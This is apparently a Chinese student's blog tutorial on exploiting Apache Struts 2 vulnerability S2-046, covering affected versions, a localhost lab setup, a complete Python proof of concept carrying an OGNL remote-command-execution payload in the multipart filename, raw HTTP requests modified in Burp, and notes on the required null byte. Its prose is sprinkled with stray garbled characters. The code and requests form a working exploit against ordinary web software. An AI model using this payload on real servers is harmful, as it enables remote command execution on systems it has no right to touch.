Struts-S2-046
此文僅供大家交流學(xué)習(xí)蕉堰,嚴(yán)禁非法使用
一、參考網(wǎng)址:(視頻):
https://www.ichunqiu.com/course/57861
找一個(gè)好的教程不容易悲龟,找一個(gè)好的POC也不容易屋讶,Cry
教程網(wǎng)址:https://xianzhi.aliyun.com/forum/read/1414.html
二、 影響版本:
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 –Struts 2.5.10
三须教、 漏洞介紹:
Apache Struts 2被曝存在遠(yuǎn)程命令執(zhí)行漏洞皿渗,漏洞編號(hào)S2-046。在使用基于Jakarta插件的文件上傳功能時(shí)轻腺,滿足以下條件乐疆,會(huì)觸發(fā)遠(yuǎn)程命令執(zhí)行漏洞。
1.上傳文件的大斜嵫(由Content-Length頭指定)大于Struts2允許的最大大屑吠痢(2GB)。
2.文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容误算。
本次S2-046漏洞遠(yuǎn)程命令執(zhí)行漏洞需滿足以上條件耕挨,而S2-045的漏洞只需要Content-Type一個(gè)點(diǎn)就可以進(jìn)行遠(yuǎn)程命令執(zhí)行。
對于已經(jīng)修復(fù)S2-045漏洞的用戶(升級(jí)Struts版本為Struts 2.3.31尉桩、Struts 2.5.10)不受此漏洞影響。
四贪庙、 環(huán)境搭建:
參考網(wǎng)址:
http://netsecurity.51cto.com/art/201707/544837.htm下載/struts/2.3.24
下載地址:http://archive.apache.org/dist/struts/2.3.24/
百度云鏈接:鏈接:http://pan.baidu.com/s/1dFeUyNv 密碼:279t
下載安裝xampp
部署showcase
- 解壓
- 復(fù)制到
重啟tomcat
- 已成功自動(dòng)部署
五蜘犁、 POC:
#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import httplib
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
class Sugarcrm():
def poctest(self):
proxies = {
"http": "http://127.0.0.1:9090",
}
boundary="---------------------------735323031399963166993862150"
paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
url = 'http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action'
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
r=requests.post(url, headers=headers,data=data,proxies=proxies)
print r._content
#print requests.Response().content()
#print requests.Response()
if __name__ == '__main__':
test = Sugarcrm()
test.poctest()
六、 腳本運(yùn)行結(jié)果
Burp做修改步驟為
七止邮、 測試數(shù)據(jù)包:
原數(shù)據(jù)包為
POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC
Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483
Connection: close
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="upload"; filename="2.txt"
Content-Type: text/plain
asd
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="caption"
1
------WebKitFormBoundarydqJWJav8muwL3UTC--
修改后為
POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1089
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC
Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483
Connection: close
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition:
form-data; name="upload";
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami**').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}**這里注意了**
Content-Type: text/plain
asd
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="caption"
1
------WebKitFormBoundarydqJWJav8muwL3UTC—
八这橙、 發(fā)現(xiàn)關(guān)鍵部分:
注意上面,那是不可復(fù)制內(nèi)容
注意到少了三個(gè)字符
后兩個(gè)字符可以理解导披,這個(gè)方塊是怎么回事那屈扎?而且經(jīng)過測試,這個(gè)方塊至關(guān)重要撩匕。復(fù)制一到方塊就停止鹰晨,且發(fā)現(xiàn)并不是因?yàn)榫幋a不合適才引起的,具體看一下十六進(jìn)制表(是就是網(wǎng)上視頻教程止毕,文檔教程的poc粘貼在burp中修改但不能成功的真正原因模蜡,
這是十六進(jìn)制表,發(fā)現(xiàn)方塊沒了扁凛。忍疾。。
再自習(xí)看谨朝,}和b之前卤妒,也就是7d和62之間是00甥绿,發(fā)現(xiàn)問題了,這個(gè)00就是之
前顯示的方塊
再回頭看網(wǎng)上教程则披,講到filename存在空字節(jié)情況共缕,這下知道空字節(jié)什么意思了。
但是收叶,還有一個(gè)疑問骄呼,簡單的python的post請求為什么會(huì)制造出空字節(jié),而且不管是data還是python也沒有故意制造空字節(jié)和b判没。這個(gè)問題待以后解決蜓萄。
九、 至此澄峰,該漏洞基本利用完畢
本人還是一個(gè)未畢業(yè)的小萌新嫉沽,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激俏竞,我也會(huì)盡量去幫助大家
堅(jiān)決做一名白帽子